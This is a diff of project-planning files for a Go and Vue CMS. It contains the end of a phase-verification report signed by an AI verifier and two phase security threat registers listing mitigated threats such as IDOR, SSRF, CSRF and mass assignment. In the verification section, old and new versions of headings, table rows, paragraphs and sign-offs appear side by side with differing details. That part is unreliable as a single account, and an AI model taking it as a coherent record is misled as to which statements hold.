| `check-phase10.sh` `-skip '^TestBootstrapEndToEnd$'` | `check-phase14.3.sh --bootstrap` | the skipped test runs for real in its own phase gate | WIRED |
| All other links (client.ts to schema.d.ts, files.ts to aliases and client, views to endpoints, boardwalk to dist) | | | WIRED (unchanged) |
### Data-Flow Trace (Level 4)
These are unchanged in structure. Every flow is ✓ FLOWING:
Unchanged. Every flow is FLOWING.
- navigation comes from `GET /navigation`, filtered on the server
- list rows and columns come from the list endpoint and `/schema/list`
- form fields and the record come from `/schema/form` and `GET /{id}`
- the relation manager's linked rows and candidates come from `/relations/{name}` and `/candidates`
- strings come from `GET /lang`
### Behavioral Spot-Checks (run this session)
### Behavioral Spot-Checks
| Behavior | Command | Result | Status |
|---|---|---|---|
| Vet | `go vet ./...` (summercms.go) | exit 0 | ✓ PASS |
| Full Go suite | `go test -count=1 ./...` (summercms.go), run once | Most packages ok. Eight packages failed only because testcontainers Postgres did not start within the timeout (`context deadline exceeded`, and one `internal/dev` watch timeout) while Vitest and other suites shared the machine: docs/examples/blog, internal/dev, beachcomber, bouncer, cabana, conga, lagoon/attach, lighthouse. | see re-run |
| Re-run of those 8 packages serially | `go test -count=1 -p 1 <8 pkgs>` | all 8 ok, exit 0 | ✓ PASS |
| Logout, nav, refresh, CRUD gating, Phase 10 coverage | `go test -count=1 -run '^(TestAdminLogoutRevokesExpiredRefreshableToken\|TestNavigationDropsDeniedParentAndRepointsTarget\|TestAdminRefreshRevocation\|TestPhase10Coverage\|TestCRUDOperationsFollowDeclarations)$' ./modules/cabana/` | all PASS | ✓ PASS |
| SC-1..SC-3 assembled on Postgres plus tracer and controllers | `go test -count=1 -run '^(TestPhase10AssembledAcceptance\|TestPhase10TracerSPA\|TestPhase10Controllers)$' ./plugins/golem15/fonoteka/` (fonoteka.go) | 3 PASS, ok 6.6s | ✓ PASS |
| SPA unit/component suite | `npx vitest run` (admin) | 53 files, 681 passed | ✓ PASS |
| Embedded dist drift (incl. vue-tsc) | `scripts/check-admin-dist.sh` | "modules/boardwalk/dist matches a fresh build" | ✓ PASS |
| OpenAPI and types drift | `scripts/check-admin-openapi.sh --check` | exit 0 | ✓ PASS |
| Phase gate stages | `scripts/check-phase10.sh --self-test / --hygiene / --security / --evidence` | each exit 0 | ✓ PASS |
| Go stage | `bash scripts/check-phase10.sh --go` (verifier) | `phase10 go passed`, exit 0, 4m50s | ✓ PASS |
| `-skip` target is unique | `grep -rn "func TestBootstrapEndToEnd"` | one hit, `modules/sunrise/sunrise_test.go:242` (env-gated `t.Skip`) | ✓ PASS |
| Skipped test still runs elsewhere | `grep` in `scripts/check-phase14.3.sh` | line 484 runs it with `SUMMERCMS_BOOTSTRAP_CHECK=1` | ✓ PASS |
| App allowances empty | `grep` for `KNOWN_APP_FAILURES` and `APP_PENDING_SKIPS` | both `""` | ✓ PASS |
| User plugin migration count | migration ID grep in `plugins/golem15/user/updates` | 11 unique IDs, `202610050001_create_oauth_identities` last | ✓ PASS |
| Other stages | orchestrator run: `--self-test`, `--security`, `--postgres`, `--openapi`, `--dist`, `--hygiene`, `--evidence`, typecheck, Vitest | all exit 0; 83 files, 1279 tests | ✓ PASS (reported) |
### Probe Execution
No `probe-*.sh` scripts are declared or present. `check-phase10.sh` is the phase gate. Its stages were run as listed above. Its `--go`, `--postgres`, `--spa`, `--openapi` and `--dist` stages were covered directly by the full Go run with the serial re-run, the fonoteka tests, Vitest and the two drift scripts.
No `probe-*.sh` is declared or present. `check-phase10.sh` is the phase gate.
### Requirements Coverage
| Requirement | Source Plan | Description | Status | Evidence |
|---|---|---|---|---|
| ADMIN-06 | 10-01..10-05 | Minimal Vue 3 + TS SPA renders login, permission-gated navigation, lists, forms and the relation manager for the five controllers using generated types | ✓ SATISFIED (automated); browser re-check pending | Truths 1-4 |
| ADMIN-06 | 10-01..10-05 | Minimal Vue 3 + TS SPA renders login, permission-gated navigation, lists, forms and the relation manager for the five controllers using generated types | ✓ SATISFIED; browser re-walk pending | Truths 1-4; acceptance command green |
Orphaned requirements: none.
### Decision Coverage
All 28 trackable CONTEXT.md decisions are honored (no decision was reverted by the later phases).
### Anti-Patterns Found
| File | Pattern | Severity | Impact |
|---|---|---|---|
| `modules/cabana/auth.go`, `http.go` | Phase 10 review WR-01: logout behind the guard | resolved | Fixed by Phase 9 WR-14 (299d220) |
| `modules/bouncer/refresh.go`, fonoteka `golem15/user` | WR-08: the site-user refresh ignores tokens_valid_after | ⚠️ Warning | Outside the Phase 10 contract. Core user plugin contract kept. |
| `modules/cabana/relation_field.go`, `crud.go` | WR-02 and WR-03 (Phase 10 review) | ⚠️ Warning | Phase 9 WR-03 and WR-05 now refuse undeclared writes and link/unlink. Not re-triaged here. |
| `modules/pact/capabilities.go` | WR-04: `FilterOptions(scope)` has no ctx or db | ⚠️ Warning | Open |
| `admin/src/views/*.vue` | WR-05: loaders without try/catch | ⚠️ Warning | Open |
| `ListView.vue`, `RelationManager.vue` | WR-06: no page clamp after delete or unlink | ⚠️ Warning | Open |
| `modules/bouncer/refresh.go` | WR-07: the refresh window slides with no absolute cap | ⚠️ Warning | Residual risk in T-10-05 |
| fonoteka.go `plugins/golem15/user` pointer | The fix lives in an unpushed local commit; the recorded pointer cf5c6b9 still fails `TestCreateOrganisationsMigration` | ⚠️ Warning | A clean checkout of fonoteka.go fails `--go` until 569768e is pushed and the pointer is bumped (human item #2) |
| `scripts/check-phase10.sh:293` | `-skip` matches by test name across all framework packages | ℹ️ Info | A future same-named test elsewhere would be skipped silently; today the name is unique |
| fonoteka.go `parity/oauth_flow_test.go:288` | Comment says php_parity.sh reads the vars; nothing reads `mcp-lifecycle.vars` | ℹ️ Info | Misleading comment only |
| Phase 10 review WR-04..WR-08 | carried | ⚠️ Warning | Unchanged |
None of the non-planning covered files contains an unreferenced `TBD`, `FIXME` or `XXX` marker (grep came back empty).
### Other observations (Info)
- Phase 10.1's own UAT (10.1-UAT.md) is still `status: testing` with 6 items pending. Its tests 1 and 4 overlap the open Phase 10 human item.
- The summercms.go working tree has an uncommitted change to `.planning/phases/10.2-.../10.2-VERIFICATION.md` that this verifier did not make (another run in progress), plus the untracked `SummerCMS landing page.zip`. Neither is Phase 10 code.
- The first full `go test` run was disturbed by machine load: Postgres containers timed out at startup. A fail-closed reading needs the serial re-run. If the gate is run in CI, run it on an otherwise idle machine.
There are no `TBD`, `FIXME` or `XXX` markers in the changed lines.
### Human Verification Required
### 1. Browser re-walk of the Phase 10 flows on the current build
**Test:** Run the fonoteka binary and open /plytadmin. Log in as a superuser and then as a genres-only admin. For each of the five controllers, use the list and form (search, sort, filter, paging, save, 422 field errors). Link and unlink a Collection editor. Open Ustawienia. Glance at light and dark mode.
**Expected:** Everything still behaves as approved in 10-UAT.md tests 2 to 5. The Albums form's new 10.1 widgets and partials do not break the Phase 10 form.
**Why human:** Phase 10.1 changed the very views the 2026-09-27 approval covered, and D-23 keeps browser e2e out of the automated suite. Closing 10.1-UAT tests 1 and 4 with Genres, Collections and Settings included also closes this item.
**Test:** Run the fonoteka binary and open /plytadmin. Log in as a superuser, then as a genres-only admin. Use the list and form of each of the five controllers (search, sort, filter, paging, save, 422 field errors). Link and unlink a Collection editor. Open Ustawienia. Glance at light and dark mode.
**Expected:** Everything behaves as approved in 10-UAT.md tests 2 to 5. Later widgets, field types and persisted list state do not break the Phase 10 views.
**Why human:** D-23 keeps the browser out of the suite.
**UAT coverage:** Not covered by an existing passing row. 10-UAT.md is complete with all 7 rows pass, but rows 2 to 5 were recorded against c7487f6 (2026-09-27), and later phases have since changed the views they cover (retest_reason in the frontmatter). 10.1-UAT.md is status: testing with 0 of 6 rows passed. Its tests 1 and 4 overlap this walk; passing them with Genres, Collections and Settings included would also close this item.
The carried items (CR-01, A3, the 17 prohibitions) remain resolved, with evidence re-run this session.
### 2. Publish the sibling-repo test fixes
**Test:** Push sm-user-plugin 569768e. Commit the `plugins/golem15/user` pointer bump (cf5c6b9 to 569768e) in fonoteka.go as a separate commit, then push fonoteka.go when you choose.
**Expected:** A clean fonoteka.go checkout passes `check-phase10.sh --go`.
**Why human:** Pushing needs the user's go-ahead. The verified pass relies on the working-tree submodule state.
Carried items CR-01, A3 and the 17 prohibitions stay resolved by 10-UAT.md tests 1, 6 and 7 (code unchanged).
### Gaps Summary
There are no gaps. All four ROADMAP success criteria hold at HEAD on automated evidence re-run this session:
The one remaining gap from fc7cfaf is closed. `check-phase10.sh --go` passes in the verifier's own run, and every other stage passed this session. None of the four fixes weakens the gate:
- The framework `-skip` is anchored to a single opt-in test that `check-phase14.3.sh` runs for real.
- The app run still allows no failures and no skips.
- The migration-history and parity tests were updated to match the real 11 migrations and a real 16.3 table, with no assertion loosened.
- `go vet` is clean
- every Go package passes, with eight container-startup timeouts cleared by a serial re-run
- the fonoteka Postgres acceptance test passes
- Vitest passes, 681 of 681
- the dist and OpenAPI drift gates and four gate stages pass
The status is human_needed, not passed, because the human browser approvals predate the Phase 10.1 changes to ListView, FormView, the toolbar, the router and the styles. Those approvals cannot be carried over to the changed views.
No code gaps remain. Status is human_needed for two items: the browser re-walk, which no passing UAT row covers for the current code, and publishing the sibling-repo fixes so a clean checkout matches the verified working tree.
---
_Verified: 2026-10-01T21:29:59Z_
_Verifier: Claude (gsd-verifier)_
_Verified: 2026-10-11T15:11:15Z_
_Verifier: Claude (msd-verifier)_

View File

@@ -0,0 +1,117 @@
---
phase: "12"
slug: "p-ytarium-api-collections-and-albums"
status: verified
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
threats_open: 0
asvs_level: 1
created: "2026-10-12"
---
# Phase 12 — Security
> Per-phase security contract: threat register, accepted risks, and audit trail.
The threat register was written at plan time in the `<threat_model>` blocks of Plans 12-01 to 12-05. The evidence for each threat, including the 25 removal checks that prove each high mitigation is load-bearing, is in `12-SECURITY-REVIEW.md` (2026-10-02, gate `scripts/check-phase12.sh --all`). No SUMMARY.md carries a `## Threat Flags` section.
---
## Trust Boundaries
| Boundary | Description | Data Crossing |
|----------|-------------|---------------|
| HTTP request body → request validator | Untrusted JSON and multipart input reaches rule evaluation, regex matching and DB `exists` lookups | Request fields (untrusted) |
| Uploaded bytes → image decoders and blob storage | Untrusted image bytes are written to disk, sniffed, decoded and thumbnailed | Photo and cover files (untrusted) |
| JWT or personal-token caller → collection and album routes | The caller names collection, album and file ids; the server decides tenancy | Household collection data (private) |
| Personal token (MCP, agents) → tenant resolution | A token is pinned to one collection and narrower scopes | Token pin, collection scope |
| Share token → anonymous viewers | The token is the bearer secret of public views | Share token (secret) |
| Invitee mailbox → accept route | The raw token in the mail is the only bearer of the invitation | Invitation token (secret) |
| Write transaction → River → mail | The invitation token leaves the DB for the job queue and the mail driver | Encrypted token in job args |
| User-supplied URLs → outbound fetch | cover_urls and cover_url make the server fetch remote content | Remote image bytes (untrusted) |
| Search engine → SQL | Engine ids and found counts are candidates only, never authorization | Album ids, counts |
| Write transaction → Centrifugo and notifications | Album data and notifications leave for subscribers | Album metadata (household-private) |
| Parity fixtures and fuzz seeds (git) → tests | Committed fixtures and seeds must never carry a usable secret | Test data |
| Module proxy → go.mod | A dependency bump enters the build | `golang.org/x/image` |
---
## Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|-----------|----------|-----------|----------|-------------|------------|--------|
| T-12-01 | Information Disclosure | collections/{id}, photos/{fileId}, image | high | mitigate | `findAccessibleCollection` scopes with `classes.AccessibleBy`; file lookups scoped to the collection's attachments; one 404 body. `TestPhase12Threats/T-12-01`, RC-01 | closed |
| T-12-02 | Information Disclosure | albums/search items and meta.total | high | mitigate | `album_search.go` re-gates every engine id with `ScopedAlbums`; SQL fallback on engine error. `TestSearchLeak`, RC-02, RC-04 | closed |
| T-12-03 | Elevation of Privilege | personal token pin | high | mitigate | `AccessibleBy` narrows to `tokenCollectionPin`; `Resolve` needs exactly one pinned id; `SwitchTo` refuses tokens. `TestPhase12Threats/T-12-03`, RC-05 | closed |
| T-12-04 | Elevation of Privilege | owner-only interactive routes on the token group | high | mitigate | switch, share, me/context, realtime/channels, sync, missing on the JWT group only; in-handler token refusal. `TestRouteTablePhase12`, RC-07 | closed |
| T-12-05 | Elevation of Privilege | editor acting as owner | high | mitigate | `c.OwnerID != user.ID` checks on destroy, image upload/delete, share. `TestPhase12Threats/T-12-05`, RC-10 | closed |
| T-12-06 | Spoofing | invitation accept | high | mitigate | sha256 lookup `FOR UPDATE`; pending, unexpired, unrevoked, exact e-mail match else 410; resend rotates. `TestPhase12Threats/T-12-06`, RC-12, RC-13 | closed |
| T-12-07 | Information Disclosure | raw token in river_job.args, summer_jobs and logs | high | mitigate | `lagoon.Encrypted` ciphertext in job args via `Enqueue`; nothing logs args, token or URL. `TestPhase12Threats/T-12-07`, RC-14 | closed |
| T-12-08 | Spoofing | share token | high | mitigate | `crypto/rand`, 62-symbol alphabet, rejection at 248, unique retry, `FOR UPDATE`. `TestPhase12Threats/T-12-08`, RC-15 | closed |
| T-12-09 | Tampering / Information Disclosure | cover_urls and cover_url fetches (SSRF) | high | mitigate | fetchguard `PublicOnly` (manual) and `AllowHosts` `.discogs.com` (import): https only, dial-time private refusal, no redirects, byte cap, timeout, after commit. `TestPhase12Threats/T-12-09`, RC-16 | closed |
| T-12-10 | Tampering / Denial of Service | photo upload | high | mitigate | Body cap, `max:10240`, `IsAllowedImage` sniff plus `DecodeConfig`, `throttle:20,1`. `TestPhase12Threats/T-12-10`, RC-17 | closed |
| T-12-11 | Tampering | mass assignment on albums and bulk | high | mitigate | `AlbumFillFields` plus per-field setter; server-set `collection_id`. `FuzzWriteEndpoints`, RC-18 | closed |
| T-12-12 | Tampering | concurrent resolve provisioning | medium | mitigate | `users` row `FOR UPDATE` before the context row; unique `user_id`. `TestPhase12Threats/T-12-12`, `TestResolveProvisionsOnce` | closed |
| T-12-13 | Elevation of Privilege | realtime/channels raw id | low | accept | See Accepted Risks Log AR-12-01 | closed |
| T-12-14 | Tampering | lagoon `exists:` and regex rules | high | mitigate | `ParseRules` checks `identName` at registration; bound values; code-only RE2 regexes. `TestValidateRequestParseRules`, RC-20 | closed |
| T-12-15 | Denial of Service | wildcard expansion and size rules | medium | mitigate | Expansion bounded by the surf-capped body; linear size counts; RE2. `TestPhase12Threats/T-12-15` | closed |
| T-12-16 | Denial of Service | webp/png/jpeg decode in Thumb and DecodeConfig | medium | mitigate | `attach.File.Thumb` caps decode at 4096x4096 and serves `BrokenImagePNG` for an unusable original (fixed in 12-05, `1307060`). `TestThumbBrokenSourceServesPlaceholder`, `TestPhase12Threats/T-12-16` | closed |
| T-12-17 | Information Disclosure | tide multipart part files | medium | mitigate | Part files are sha256-pinned test images; `check_corpus --check-secrets`. `TestPhase12Threats/T-12-17` | closed |
| T-12-18 | Elevation of Privilege | user groups table | medium | mitigate | No route writes `users_groups`; `User.Groups` is `json:"-"`; site-admin predicate server-side. `TestPhase12Threats/T-12-18` | closed |
| T-12-19 | Information Disclosure | Winter error pages | low | mitigate | Embedded `APP_DEBUG=false` bytes, only the stylesheet origin templated. `TestPhase12Threats/T-12-19` | closed |
| T-12-20 | Information Disclosure | committed flow fixtures | high | mitigate | Tokens only as `{{secret:invite}}`; `check_corpus --check-secrets` fails on 64-hex. `TestCheckCorpusInvitationToken`, RC-21 | closed |
| T-12-21 | Denial of Service | invite and resend mail flooding | medium | mitigate | `throttle:10,1` on store and resend; one pending row per (collection, e-mail). `TestPhase12Threats/T-12-21` | closed |
| T-12-22 | Tampering | accept joining the inviter's organisation | medium | mitigate | Only an org-less invitee joins, as member, inside the accept tx. `TestPhase12Threats/T-12-22` | closed |
| T-12-23 | Information Disclosure | album_added notifications and broadcasts | medium | mitigate | Recipients are owner and editors minus the actor; kind=collection channel only; after commit. `TestPhase12Threats/T-12-23` | closed |
| T-12-24 | Denial of Service | search recount and bulk size | medium | mitigate | Recount capped at 1000 ids in pages of 250; body cap; `max_covers`. `TestSearchLeak/cap`, `TestPhase12Threats/T-12-24` | closed |
| T-12-25 | Tampering | gate --removal leaving mutated source | medium | mitigate | Dirty-file refusal, anchor-exact mutation, `cmp` restore. `check-phase12.sh --self-test` | closed |
| T-12-26 | Repudiation | security review claims without evidence | medium | mitigate | `check-phase12.sh --evidence` refuses unbacked claims. `--evidence`, `--self-test` | closed |
| T-12-27 | Information Disclosure | fuzz seed corpus | low | mitigate | Synthetic seeds; gate scans `testdata/fuzz` for secrets. `--parity`, `--self-test`, RC-25 | closed |
| T-12-28 | Information Disclosure | beachcomber SearchPage found count | high | mitigate | `found` only sizes the SQL recount (D-19). `TestSearchLeak`, RC-03 | closed |
| T-12-29 | Denial of Service | collection photo/image upload | medium | mitigate | Body cap, `max:10240`, image and mimes sniff before the blob write. `TestPhase12Threats/T-12-29` | closed |
| T-12-30 | Tampering | mass assignment on collections | high | mitigate | `CollectionFillFields` = name, description; `owner_id`, `kind`, share columns server-set. `FuzzWriteEndpoints`, RC-19 | closed |
| T-12-31 | Elevation of Privilege | household routes under a personal token | high | mitigate | JWT group only; `assertInvitationOwner` refuses a token. `TestRouteTablePhase12`, `TestPhase12Threats/T-12-31`, RC-08, RC-09 | closed |
| T-12-32 | Elevation of Privilege | editor managing members or invitations | high | mitigate | `ownerCollection` owner check before every household action. `TestPhase12Threats/T-12-32`, RC-11 | closed |
| T-12-33 | Information Disclosure | albums/{id}, photos/{fileId}, rating | high | mitigate | `FindAccessibleAlbum` via `ScopedAlbums`; photo lookups on the album's attachments; one 404 body. `TestPhase12Threats/T-12-33`, RC-22, RC-23 | closed |
| T-12-34 | Elevation of Privilege | token pin on albums, stats, value, search, lookups | high | mitigate | `Resolve` answers a token with its pin; `AlbumsAccessibleBy` narrows; sync and missing JWT only. `TestPhase12Threats/T-12-34`, RC-06 | closed |
| T-12-SC | Tampering | Go module installs (golang.org/x/image v0.46.0) | high | mitigate | Official sub-repo, go.sum pinned, authorized by D-24; no other dependency in Phase 12 (Plans 12-02 to 12-05 accept: none added). `check-phase12.sh --go`, RC-24 | closed |
*Status: open · closed · open — below high threshold (non-blocking)*
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
---
## Accepted Risks Log
| Risk ID | Threat Ref | Rationale | Accepted By | Date |
|---------|------------|-----------|-------------|------|
| AR-12-01 | T-12-13 | realtime/channels returns the raw collection id, matching PHP. The id is the caller's own resolved collection, is never accepted as a tenant selector on any write, and the collection authorizer re-validates membership on every subscribe. Residual: the channel name reveals the caller's own collection id. | Plan 12-02 threat model | 2026-10-02 |
*Accepted risks do not resurface in future audit runs.*
---
## Security Audit Trail
| Audit Date | Threats Total | Closed | Open | Run By |
|------------|---------------|--------|------|--------|
| 2026-10-02 | 35 | 35 | 0 | msd-executor, plan 12-05 (`12-SECURITY-REVIEW.md`, 25 removal checks) |
| 2026-10-12 | 35 | 35 | 0 | /msd-secure-phase 12 (L1: plan-time register, review evidence, every cited mitigation anchor re-grepped in the current tree of both repositories) |
## Security Audit 2026-10-12
| Metric | Count |
|--------|-------|
| Threats found | 35 |
| Closed | 35 |
| Open | 0 |
---
## Sign-Off
- [x] All threats have a disposition (mitigate / accept / transfer)
- [x] Accepted risks documented in Accepted Risks Log
- [x] `threats_open: 0` confirmed
- [x] `status: verified` set in frontmatter
**Approval:** verified 2026-10-12

View File

@@ -0,0 +1,138 @@
---
phase: "12.1"
slug: "user-plugin-admin-screens"
status: verified
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
threats_open: 0
asvs_level: 1
block_on: high
register_authored_at_plan_time: true
created: "2026-10-12"
---
# Phase 12.1 — Security
> Per-phase security contract: threat register, accepted risks, and audit trail.
The detailed evidence (production code, named tests, 27 removal checks, the T-12-18 write-path review, the D-30 boundary and five findings for decision) is in `12.1-SECURITY-REVIEW.md` (2026-10-05). This file is the contract summary; its register was re-checked against the tree on 2026-10-12, after phases 13 to 17 had landed.
Repositories: `summercms.go` (framework: `modules/cabana`, `admin/src`) and sm-user-plugin (mounted at `fonoteka.go/plugins/golem15/user`).
---
## Trust Boundaries
| Boundary | Description | Data Crossing |
|----------|-------------|---------------|
| Admin browser → admin API (bulk and record action routes, save bodies) | Untrusted ids, action names, field values, virtual values, permission maps and relation ids; cookie auth needs the CSRF header | admin input, privileged writes |
| cabana → plugin hooks, actions and providers | The framework hands over only records loaded through the controller's scope and only validated values | records, virtual values |
| Plugin code and partials → admin browser | Action labels, confirm texts, messages, row states and the status hint are rendered in the SPA | display text |
| Admin with the users permission → frontend accounts, including privileged-group members | Activate, ban, password, email, delete; membership of a privileged group makes a site admin | credentials, privilege |
| Backend admin → users_groups and user_groups codes | The user form's groups field and group codes decide who is a site admin | privilege |
| User plugin → user API payloads | New model fields must not reach the Nuxt contract | PII, permissions, groups |
| Plugin → mail transport | An admin-triggered invitation leaves the system | email |
| Repositories → consumers (tag v0.1.3, shared plugin push) | A tag or push publishes the contract, migrations and permission codes | release |
| Test evidence → release decision | The gate's result is what the phase is verified against | — |
---
## Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|-----------|----------|-----------|----------|-------------|------------|--------|
| T-12.1-01 | Elevation of Privilege | bulk action ids (IDOR) | high | mitigate | `CRUDService.BulkAction` resolves ids with `lockScoped`, `partialSelection` 409 (`modules/cabana/crud.go`); RC-01, RC-02 | closed |
| T-12.1-02 | Elevation of Privilege | undeclared action or action without its permission | high | mitigate | `bulkActionOf`, `recordActionOf`, `allowAction` (`modules/cabana/actions.go`); per-principal schema filtering; RC-03 | closed |
| T-12.1-03 | Tampering | CSRF on the two new POST routes | high | mitigate | `requireAjax` on `bulk/{action}` and `{id}/actions/{action}` (`modules/cabana/http.go`); RC-04, RC-05 | closed |
| T-12.1-04 | Elevation of Privilege | record action outside form scope or wrong state | high | mitigate | `RecordAction` uses `loadRecord` (form scope, row lock), `Applies` re-checked in the transaction; RC-06, RC-07 | closed |
| T-12.1-05 | Tampering | half-applied bulk mutation | medium | mitigate | one transaction per bulk action; `TestBulkActionRollback` | closed |
| T-12.1-06 | Information Disclosure | internal error text in 403/500 bodies | medium | mitigate | `actionFailure`, `lifecycleFailure` opaque 500; only `ForbiddenError`/`ValidationError` carry text | closed |
| T-12.1-07 | Tampering | row state or label as markup/CSS class | low | mitigate | fixed state set on server (`ListMeta.RowStates`) and in the SPA; text interpolation | closed |
| T-12.1-08 | Repudiation | actions leave no trace | low | mitigate | one `slog.Info` line per run | closed |
| T-12.1-09 | Tampering | mass assignment through virtual or password fields | high | mitigate | `BindWritableFields` skips `FormVirtualFields`; `liftVirtualValues` honours context; RC-08, RC-09 | closed |
| T-12.1-10 | Information Disclosure | password value in response, log or URL | high | mitigate | password field must be virtual (`checkVirtualFields`, `extension.go`); never projected; RC-10 | closed |
| T-12.1-11 | Elevation of Privilege | protected FK written through a relation field | high | mitigate | `WritableForeignKey` opt-in plus scoped options query (`relation_field.go`); RC-11 | closed |
| T-12.1-12 | Elevation of Privilege | locked relation ids changed by a crafted request | high | mitigate | `checkRelationLocks` before any row write on create and update; RC-12 | closed |
| T-12.1-13 | Tampering | permission code injection or out-of-range value | high | mitigate | offered-code, mode-set and locked-code checks (`field_permission.go`); RC-13, RC-14 | closed |
| T-12.1-14 | Tampering | preview-only field written by a crafted body | medium | mitigate | `contextAllows` excludes it from create/update binding; `TestPreviewFieldNeverWritten` | closed |
| T-12.1-15 | Elevation of Privilege | script/markup through status hint or callout classes | medium | mitigate | partials served as an allowlisted node tree (`partial_render.go`); SPA builds elements from nodes | closed |
| T-12.1-16 | Tampering | open redirect through `preview/:id` | medium | mitigate | `mapWinterUrl` (`admin/src/app/winterUrl.ts`): current controller only, digits only | closed |
| T-12.1-17 | Tampering | unreviewed contract published by the tag | high | mitigate | blocking decision checkpoint (plan 02 Task 5); tag cut on a green head; NR-01 (process control) | closed |
| T-12.1-18 | Elevation of Privilege | Users screens/actions without the users permission | high | mitigate | `RequiredPermissions` on the three controllers and every action; RC-15 | closed |
| T-12.1-19 | Information Disclosure | hash, plain password or reset codes in admin responses | high | mitigate | virtual password fields; no secret column in YAML; response bodies scanned; RC-16 | closed |
| T-12.1-20 | Tampering | mass assignment of is_activated, permissions, organisation_id | high | mitigate | protected fill keys; dedicated validated paths; `FormBeforeCreate` forces `is_activated` false; RC-17 | closed |
| T-12.1-21 | Spoofing | tokens valid after admin password reset | medium | mitigate | `FormBeforeUpdate` stamps `tokens_valid_after`; `TestAdminUserPassword` | closed |
| T-12.1-22 | Denial of Service | invitation mail abuse | low | mitigate | one mail per create, after commit, no bulk invite | closed |
| T-12.1-23 | Tampering | permanent delete leaves orphans | medium | mitigate | `ForceDeleteCleanup` in the delete transaction; blobs after commit | closed |
| T-12.1-24 | Information Disclosure | last_seen, permissions, timestamps, groups in user API | high | mitigate | `json:"-"` on `LastSeen`, `Permissions`, `Groups` (`models/user.go`); field-by-field payloads; RC-18, RC-27 | closed |
| T-12.1-25 | Denial of Service | last_seen write on the auth path | low | mitigate | `classes.TouchLastSeen` at most once per five minutes, errors logged and ignored | closed |
| T-12.1-26 | Elevation of Privilege | deactivated site admin re-enabled by restore/activate | medium | accept | see AR-01 | closed |
| T-12.1-27 | Elevation of Privilege | wrong port of the permission merge | medium | mitigate | `classes.MergedPermissions`, `HasPermission`; `TestMergedPermissions` table | closed |
| T-12.1-28 | Elevation of Privilege | privileged group added/removed via the groups field (T-12-18) | critical | mitigate | `AdminRelationLocks` plus framework `checkRelationLocks`; RC-19 | closed |
| T-12.1-29 | Elevation of Privilege | create, re-code or delete a privileged group code | high | mitigate | `requirePrivilegedPermission` in the groups controller hooks; RC-20 | closed |
| T-12.1-30 | Elevation of Privilege | second unguarded writer of users_groups | high | mitigate | no groups relation manager; actions pinned not to write the table; RC-21 | closed |
| T-12.1-31 | Tampering | privileged list cached, mis-compared or NULL-bypassed | medium | mitigate | `classes/privileged.go`: read per call, case-sensitive, NULL never privileged | closed |
| T-12.1-32 | Tampering | organisation members manager moves users | low | accept | see AR-02 | closed |
| T-12.1-33 | Tampering | app pointer / plugin / framework published out of order | low | mitigate | no push in plans 03–05; ordering governed by T-12.1-40 | closed |
| T-12.1-34 | Information Disclosure | group membership in user API payload | high | mitigate | `User.Groups` `json:"-"`; payload writes `groups` as an empty list; RC-22 | closed |
| T-12.1-35 | Repudiation | gate passes without measuring | medium | mitigate | `detect` refuses failures, skips, zero tests, missing names; `--self-test` | closed |
| T-12.1-36 | Information Disclosure | consuming-application name in framework files | low | mitigate | `check-phase12.1.sh --hygiene` name scan | closed |
| T-12.1-37 | Tampering | mitigation silently removed later | medium | mitigate | `TestPhase121Threats` in both repos (present 2026-10-12), `--security`, removal harness | closed |
| T-12.1-38 | Elevation of Privilege | takeover of a privileged-group member (email/password change) | critical | mitigate | `guardCredentials` at the top of `FormBeforeUpdate`, `classes.IsPrivilegedMember` in the write transaction (D-30); RC-23, RC-25 | closed |
| T-12.1-39 | Tampering | permanent delete of a privileged-group member | high | mitigate | `guardPrivilegedMember` in `FormBeforeDelete`, per record in the bulk transaction; RC-24 | closed |
| T-12.1-40 | Tampering | shared plugin published before review or before its framework tag | medium | mitigate | single push point after gate and review, only with v0.1.3 on origin; v0.1.3 is now on origin | closed |
| T-12.1-SC | Tampering | npm/pip/cargo installs | high | mitigate | no manifest changed within the phase (diff against v0.1.3 at phase close); NR-02 | closed |
*Status: open · closed · open — below high threshold (non-blocking)*
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
---
## Accepted Risks Log
| Risk ID | Threat Ref | Rationale | Accepted By | Date |
|---------|------------|-----------|-------------|------|
| AR-01 | T-12.1-26 | PHP behaves the same (the membership survives a soft delete); restore and activate need `golem15.users.access_users`. Deactivate and ban of a privileged member also stay at that permission (D-30 boundary); whether to guard them is open as FD-5 in `12.1-SECURITY-REVIEW.md`. | Owner, at plan 12.1-03 (RESEARCH T-12-18 path 8) | 2026-10-05 |
| AR-02 | T-12.1-32 | PHP's add and remove behave the same; the routes need `golem15.users.access_users`, write only `organisation_id` and are scoped by the relation contract. `organisation_role` outliving the membership is FD-1. | Owner, at plan 12.1-04 (RESEARCH T-12-18 path 6) | 2026-10-05 |
*Accepted risks do not resurface in future audit runs.*
---
## Observations (non-blocking)
- **Gate drift, `scripts/check-phase12.1.sh --hygiene`.** On 2026-10-12 the stage refuses, for reasons that come from later phases, not from regressions of this register:
- raw-HTML sinks added by phase 17 (`RichEditorField.vue` `v-html="display"`, `richeditor/html.ts` and `richeditor/lossy.ts` `innerHTML`). The stage allowlists only `MarkdownField.vue`. These sinks are covered by phase 17's register (T-17-10, T-17-32: server-sanitized HTML). T-12.1-15's own surface (partials as an allowlisted node tree) is unchanged.
- `go.mod`, `go.sum`, `admin/package.json` and `admin/package-lock.json` changed since v0.1.3. These are later phases' dependency decisions; within phase 12.1 the manifests stayed the same (T-12.1-SC).
- committed files in `modules/cabana` (`account_tokens.go`, `account_tokens_test.go`, `token_*_test.go`) are not gofmt-clean. They come from later token work, not this phase; the problem is formatting only.
Suggested follow-up: scope the 12.1 hygiene stage to the phase's own files and the tag window, or retire it in favour of later phase gates, and run `gofmt -w` on the token files.
- **Findings for decision FD-1 to FD-5** in `12.1-SECURITY-REVIEW.md` remain the owner's to decide. None is an open threat of this register.
- **sm-user-plugin** at `fonoteka.go/plugins/golem15/user` is one commit ahead of its origin (later phase work). It doesn't affect T-12.1-40, whose precondition (v0.1.3 on origin) now holds.
---
## Security Audit Trail
| Audit Date | Threats Total | Closed | Open | Run By |
|------------|---------------|--------|------|--------|
